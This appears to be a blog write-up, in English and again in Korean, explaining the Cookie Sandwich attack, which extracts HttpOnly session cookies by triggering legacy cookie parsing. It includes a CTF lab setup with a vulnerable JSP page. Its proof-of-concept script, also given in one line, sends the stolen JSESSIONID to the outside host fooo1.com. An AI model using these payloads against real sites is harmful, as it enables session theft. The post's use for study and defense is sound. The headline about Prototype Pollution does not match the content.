Prototype Pollution: Poisoning JavaScript's Object Chain
How Prototype Pollution corrupts JavaScript's prototype chain and how to defend against it
The Cookie Sandwich Attack is a technique that exploits the differences between the RFC6265 (modern) and RFC2109 (legacy) cookie parsing specifications to extract HttpOnly cookies that would normally be inaccessible to client-side JavaScript.
This vulnerability arises in web servers that support both modern and legacy cookie parsing methods, especially when:
$Version keywordThe key issue is that these two parsing methods handle quotation marks (") differently, which attackers can abuse to “sandwich” an HttpOnly cookie between crafted malicious cookies.
To understand the vulnerability, let’s first examine the relevant RFC standards:
RFC2109 (Legacy Cookie Spec, 1997)
RFC2965 (Updated Legacy Spec, 2000)
RFC6265 (Modern Cookie Spec, 2011)
Servers like Tomcat that aim to maintain backward compatibility implement support for both parsing modes. They typically switch to RFC2109/2965 (legacy) parsing when the $Version parameter is detected in the cookie request header, otherwise defaulting to RFC6265 (modern) parsing.
This compatibility choice opens the door to the Cookie Sandwich Attack. Here’s how it works:
Imagine a web application where an attacker has gained script execution capabilities (via XSS), but the session cookie (JSESSIONID) is protected with the HttpOnly flag:
JSESSIONID=7A2A684D2F275078A98610E415E89D5E
With normal JavaScript, the attacker cannot access this cookie due to the HttpOnly protection. However, using the Cookie Sandwich technique, they can execute code like:
document.cookie = `$Version=1; path=/json;`;
document.cookie = `param1="start; path=/json;`;
document.cookie = `param2=end"; path=/;`;
The modern parser (RFC6265) would interpret these as three separate cookies:
JSESSIONID=7A2A684D2F275078A98610E415E89D5E
$Version=1
param1="start
param2=end"
However, the legacy parser (RFC2109) would interpret this quite differently:
param1="start;JSESSIONID=7A2A684D2F275078A98610E415E89D5E;param2=end"
Notice how the JSESSIONID cookie is now “sandwiched” between param1 and param2, creating a situation where its value becomes accessible to the attacker.
For this attack to work effectively, cookie order is key. The $Version=1 cookie needs to be processed first to trigger legacy parsing mode. Since cookies are generally processed in the order they were created, attackers need to control this sequence.

This is where the path attribute of cookies becomes important. Browsers sort cookies based on path specificity, which allows attackers to manipulate the order. By setting specific paths for different cookies, attackers can ensure their cookies are processed in the correct sequence to exploit the vulnerability.
Here’s a practical example showing how the attack works:
Initially, we have a normal HttpOnly cookie (JSESSIONID):

When we execute the JavaScript to create the cookie sandwich:
document.cookie = `$Version=1; path=/test.jsp;`;
document.cookie = 'param1="start; path=/test.jsp;';
document.cookie = 'param2=end"; path=/;';
And refresh the page, the server-side parsing (using legacy mode) sees the cookies combined as a single value:

If we were to refresh the page without carefully crafting our attack, the JSESSIONID would be regenerated and might appear in a different order, breaking our sandwich:

Similarly, if we don’t set the path attribute correctly on the $Version cookie, the attack fails:

Different frameworks require slightly different payload formats to successfully exploit this vulnerability:
Flask: {"foo": "bar", "$Version": "1", "$Path": "/", "$Domain": "abc"}
Django: {"foo": "bar", "$Version": "1", "$Path": "/", "$Domain": "abc"}
PHP: {"foo": "\"bar\"", "$Version": "1", "$Path": "\"\\/\"", "$Domain": "abc"}
Ruby: {"foo": "\"bar\"", "$Version": "1", "$Path": "\"\\/\"", "$Domain": "abc"}
Spring: { "foo": "\"bar\""}
A real-world exploitation would typically involve:
I created a Cookie Sandwich wargame challenge to demonstrate this vulnerability. Creating a proper CTF challenge was more complex than I initially anticipated and took an entire day to complete.
The challenge implements a simplified version of the scenario described in the reference materials. Since I needed an admin bot to test the vulnerability, I had to consider the best approach. Directly porting Chromium into the JSP environment proved technically challenging, so I opted for a different approach. I created separate containers and implemented the admin functionality through Docker networking.
Configuring the correct chromedriver version was particularly tricky, so I used an existing image by tonyp7 to simplify the implementation:
version: '3.8'
services:
tomcat:
build:
context: ./tomcat
dockerfile: Dockerfile
ports:
- "8080:8080"
volumes:
- ./tomcat/app:/usr/local/tomcat/webapps/ROOT
environment:
- CATALINA_OPTS=-Dorg.apache.catalina.STRICT_SERVLET_COMPLIANCE=false
- ADMIN_PASSWORD=${ADMIN_PASSWORD}
- FLAG=${FLAG}
networks:
- internal
bot:
image: tonyp7/flask-selenium-chromedriver-alpine:latest
shm_size: '2gb'
build:
context: ./bot
dockerfile: Dockerfile
depends_on:
- tomcat
networks:
- internal
ports:
- "8000:8000"
environment:
- ADMIN_PASSWORD=${ADMIN_PASSWORD}
- GUNICORN_CMD_ARGS=--workers=1 --timeout=120
deploy:
resources:
limits:
memory: 1G
networks:
internal:
driver: bridge
The core of the challenge is in the json.jsp file. When a client sends a request, the server returns cookie data but specifically excludes the JSESSIONID cookie. Since the JSESSIONID cookie in Tomcat is set as HttpOnly by default, it becomes a perfect target for the Cookie Sandwich attack:
<%@ page contentType="application/json;charset=UTF-8" %>
<%
String leaked = "";
Cookie[] cookies = request.getCookies();
if (cookies != null) {
for (Cookie c : cookies) {
if (!"JSESSIONID".equals(c.getName())) {
leaked = c.getValue();
break;
}
}
}
leaked = leaked.replace("\"","\\\"");
out.print("{\"session\":\"" + leaked + "\"}");
%>
The proof of concept for solving this challenge is as follows:
<script>
document.cookie = '$Version=1; path=/json.jsp;';
document.cookie = 'param1="start; path=/json.jsp;';
document.cookie = 'param2=end"; path=/;';
fetch('/json.jsp', {
credentials: 'include'
})
.then(r => r.json())
.then(data => {
return fetch('http://fooo1.com:5555/', {
method: 'POST',
body: JSON.stringify(data)
});
});
</script>
A minified one-line version is also available for situations where character space is limited:
<script>document.cookie = '$Version=1; path=/json.jsp;';document.cookie = 'param1="start; path=/json.jsp;';document.cookie = 'param2=end"; path=/;';fetch('/json.jsp', {credentials: 'include'}).then(r => r.json()).then(data => {return fetch('http://fooo1.com:5555/', {method: 'POST',body: JSON.stringify(data)});});</script>
When executed successfully, the attacker can capture the HttpOnly cookie value:

To protect against Cookie Sandwich attacks:
SameSite=strict to limit cross-site cookie transmissionThe Cookie Sandwich Attack demonstrates how seemingly minor differences in parsing specifications can lead to significant security vulnerabilities. It highlights the importance of understanding how different standards interact, especially when backward compatibility is maintained.
Web application developers and security professionals should be aware of this technique and implement appropriate safeguards, particularly for applications that might be using older server technology that supports legacy cookie parsing modes.
HttpOnly 플래그가 붙은 쿠키는 자바스크립트로 못 읽으니 안전하다고들 하죠. 그런데 정말 그럴까요? Cookie Sandwich Attack은 RFC6265(현대)와 RFC2109(레거시) 쿠키 파싱 명세의 차이를 파고들어, 원래라면 클라이언트 측 자바스크립트가 절대 손댈 수 없는 HttpOnly 쿠키를 빼내는 기법입니다.
이 취약점은 현대식과 레거시 쿠키 파싱을 모두 지원하는 웹 서버에서 고개를 드는데요. 특히 이런 경우입니다.
$Version 키워드를 만나면 레거시 파싱으로 갈아타는 경우핵심은 이 두 파싱 방식이 큰따옴표(")를 서로 다르게 다룬다는 점입니다. 공격자는 이 틈을 노려, 자기가 심은 악성 쿠키 사이에 HttpOnly 쿠키를 “샌드위치”처럼 끼워 넣는 거죠.
취약점을 제대로 이해하려면 먼저 관련 RFC 표준부터 짚고 가는 게 좋습니다.
RFC2109 (레거시 쿠키 명세, 1997)
RFC2965 (개정 레거시 명세, 2000)
RFC6265 (현대 쿠키 명세, 2011)
Tomcat처럼 하위 호환성을 챙기려는 서버는 두 파싱 모드를 모두 지원하도록 만들어져 있습니다. 보통 쿠키 요청 헤더에서 $Version 파라미터가 보이면 RFC2109/2965(레거시) 파싱으로 전환하고, 그렇지 않으면 RFC6265(현대) 파싱을 기본으로 쓰는데요.
바로 이 “호환성 배려”가 Cookie Sandwich Attack의 문을 활짝 열어 줍니다. 어떻게 동작하는지 볼까요?
공격자가 (XSS로) 스크립트 실행 능력은 손에 넣었지만, 정작 세션 쿠키(JSESSIONID)는 HttpOnly 플래그로 꽁꽁 보호되고 있는 웹 애플리케이션을 상상해 봅시다.
JSESSIONID=7A2A684D2F275078A98610E415E89D5E
평범한 자바스크립트로는 HttpOnly 보호에 막혀 이 쿠키를 건드릴 수 없습니다. 그런데 Cookie Sandwich 기법을 쓰면 이야기가 달라지는데요. 다음 같은 코드를 실행해 봅니다.
document.cookie = `$Version=1; path=/json;`;
document.cookie = `param1="start; path=/json;`;
document.cookie = `param2=end"; path=/;`;
현대식 파서(RFC6265)는 이걸 세 개의 별개 쿠키로 해석합니다.
JSESSIONID=7A2A684D2F275078A98610E415E89D5E
$Version=1
param1="start
param2=end"
하지만 레거시 파서(RFC2109)는 이걸 사뭇 다르게 읽습니다.
param1="start;JSESSIONID=7A2A684D2F275078A98610E415E89D5E;param2=end"
보이시나요? JSESSIONID 쿠키가 param1과 param2 사이에 딱 “샌드위치”되면서, 그 값이 공격자 손에 잡히는 상황이 만들어졌습니다.
이 공격이 제대로 먹히려면 쿠키 순서가 정말 중요합니다. 레거시 파싱 모드를 켜려면 $Version=1 쿠키가 맨 먼저 처리돼야 하거든요. 쿠키는 보통 생성된 순서대로 처리되니, 공격자는 이 순서를 손아귀에 넣어야 합니다.

바로 이 지점에서 쿠키의 path 속성이 열쇠가 됩니다. 브라우저는 path의 구체성(specificity)에 따라 쿠키를 정렬하는데, 이 규칙을 역이용하면 공격자가 순서를 마음대로 주무를 수 있거든요. 쿠키마다 path를 잘 지정해 두면, 취약점을 터뜨리기 좋은 순서로 자기 쿠키가 처리되도록 유도할 수 있는 겁니다.
말보다 실제로 보는 게 빠르겠죠. 공격이 어떻게 돌아가는지 직접 보여드리겠습니다.
처음에는 평범한 HttpOnly 쿠키(JSESSIONID)만 있습니다.

여기에 쿠키 샌드위치를 만드는 자바스크립트를 실행하고,
document.cookie = `$Version=1; path=/test.jsp;`;
document.cookie = 'param1="start; path=/test.jsp;';
document.cookie = 'param2=end"; path=/;';
페이지를 새로고침하면, 서버 측 파싱(레거시 모드)이 쿠키들을 하나의 값으로 묶어서 인식하는 걸 볼 수 있습니다.

반대로 공격을 대충 구성한 채 새로고침하면, JSESSIONID가 재생성되면서 순서가 뒤바뀌어 샌드위치가 그냥 풀려 버리기도 합니다.

마찬가지로 $Version 쿠키의 path 속성을 제대로 안 잡아 주면 공격은 그대로 실패합니다.

이 취약점을 확실히 터뜨리려면 프레임워크마다 페이로드 형식을 조금씩 손봐 줘야 합니다.
Flask: {"foo": "bar", "$Version": "1", "$Path": "/", "$Domain": "abc"}
Django: {"foo": "bar", "$Version": "1", "$Path": "/", "$Domain": "abc"}
PHP: {"foo": "\"bar\"", "$Version": "1", "$Path": "\"\\/\"", "$Domain": "abc"}
Ruby: {"foo": "\"bar\"", "$Version": "1", "$Path": "\"\\/\"", "$Domain": "abc"}
Spring: { "foo": "\"bar\""}
실제 환경에서의 공격은 보통 이런 흐름으로 이어집니다.
이 취약점을 직접 보여주려고 Cookie Sandwich 워게임 문제를 만들어 봤는데요. 제대로 된 CTF 문제를 만드는 일은 생각보다 손이 많이 가서, 완성하는 데 꼬박 하루가 걸렸습니다.
이 문제는 참고 자료에서 설명한 시나리오를 단순하게 줄여 구현한 겁니다. 취약점을 테스트하려면 admin bot이 필요했는데, 어떻게 붙일지 한참 고민했죠. Chromium을 JSP 환경에 직접 포팅하는 건 기술적으로 까다로워서, 결국 다른 길을 택했습니다. 별도의 컨테이너를 두고 Docker 네트워킹으로 admin 기능을 굴린 거예요.
특히 chromedriver 버전을 맞추는 게 골칫거리였던 탓에, 구현을 단순화하려고 tonyp7의 기존 이미지를 가져다 썼습니다.
version: '3.8'
services:
tomcat:
build:
context: ./tomcat
dockerfile: Dockerfile
ports:
- "8080:8080"
volumes:
- ./tomcat/app:/usr/local/tomcat/webapps/ROOT
environment:
- CATALINA_OPTS=-Dorg.apache.catalina.STRICT_SERVLET_COMPLIANCE=false
- ADMIN_PASSWORD=${ADMIN_PASSWORD}
- FLAG=${FLAG}
networks:
- internal
bot:
image: tonyp7/flask-selenium-chromedriver-alpine:latest
shm_size: '2gb'
build:
context: ./bot
dockerfile: Dockerfile
depends_on:
- tomcat
networks:
- internal
ports:
- "8000:8000"
environment:
- ADMIN_PASSWORD=${ADMIN_PASSWORD}
- GUNICORN_CMD_ARGS=--workers=1 --timeout=120
deploy:
resources:
limits:
memory: 1G
networks:
internal:
driver: bridge
문제의 핵심은 json.jsp 파일에 있습니다. 클라이언트가 요청을 보내면 서버는 쿠키 데이터를 돌려주되, JSESSIONID 쿠키만은 일부러 쏙 빼놓죠. Tomcat의 JSESSIONID는 기본적으로 HttpOnly로 설정되니, Cookie Sandwich 공격의 딱 좋은 표적이 되는 겁니다.
<%@ page contentType="application/json;charset=UTF-8" %>
<%
String leaked = "";
Cookie[] cookies = request.getCookies();
if (cookies != null) {
for (Cookie c : cookies) {
if (!"JSESSIONID".equals(c.getName())) {
leaked = c.getValue();
break;
}
}
}
leaked = leaked.replace("\"","\\\"");
out.print("{\"session\":\"" + leaked + "\"}");
%>
이 문제를 푸는 개념 증명(PoC)은 이렇습니다.
<script>
document.cookie = '$Version=1; path=/json.jsp;';
document.cookie = 'param1="start; path=/json.jsp;';
document.cookie = 'param2=end"; path=/;';
fetch('/json.jsp', {
credentials: 'include'
})
.then(r => r.json())
.then(data => {
return fetch('http://fooo1.com:5555/', {
method: 'POST',
body: JSON.stringify(data)
});
});
</script>
문자 수가 제한된 상황을 위해 한 줄로 압축한 버전도 준비했다:
<script>document.cookie = '$Version=1; path=/json.jsp;';document.cookie = 'param1="start; path=/json.jsp;';document.cookie = 'param2=end"; path=/;';fetch('/json.jsp', {credentials: 'include'}).then(r => r.json()).then(data => {return fetch('http://fooo1.com:5555/', {method: 'POST',body: JSON.stringify(data)});});</script>
이렇게 잘 맞아떨어지면, 공격자는 HttpOnly 쿠키 값을 그대로 손에 넣게 됩니다.

그럼 Cookie Sandwich 공격은 어떻게 막을까요?
SameSite=strict 같은 현대적 보안 헤더로 교차 사이트 쿠키 전송을 제한한다Cookie Sandwich Attack은 파싱 명세의 사소해 보이는 차이 하나가 어떻게 중대한 취약점으로 번질 수 있는지를 아주 잘 보여줍니다. 특히 하위 호환성을 챙길 때, 서로 다른 표준이 어떻게 맞물려 돌아가는지 이해하는 게 얼마나 중요한지 새삼 느끼게 되죠.
웹 개발자와 보안 담당자라면 이 기법을 알아 두고 적절한 방어를 마련해 두는 게 좋습니다. 특히 레거시 쿠키 파싱 모드를 지원하는 구형 서버 기술을 쓸 법한 애플리케이션이라면 더더욱요.